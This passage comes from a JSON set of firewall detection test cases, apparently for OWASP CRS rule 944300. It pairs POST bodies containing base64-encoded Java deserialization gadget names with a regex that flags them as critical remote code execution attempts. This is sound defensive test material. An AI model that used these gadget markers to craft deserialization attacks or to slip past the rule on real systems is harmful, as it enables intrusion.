"(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=d2hpbGVjbG9zdXJl" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword d2hpbGVjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "d2hpbGVjbG9zdXJl=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword d2hpbGVjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"d2hpbGVjbG9zdXJl\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword d2hpbGVjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">d2hpbGVjbG9zdXJl</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword d2hpbGVjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">d2hpbGVjbG9zdXJl</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword d2hpbGVjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=d2hpbGVjbG9zdXJl" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword d2hpbGVjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"d2hpbGVjbG9zdXJl\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword d2hpbGVjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"d2hpbGVjbG9zdXJl\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword d2hpbGVjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=HdoaWxlY2xvc3VyZQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword HdoaWxlY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "HdoaWxlY2xvc3VyZQ=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword HdoaWxlY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element 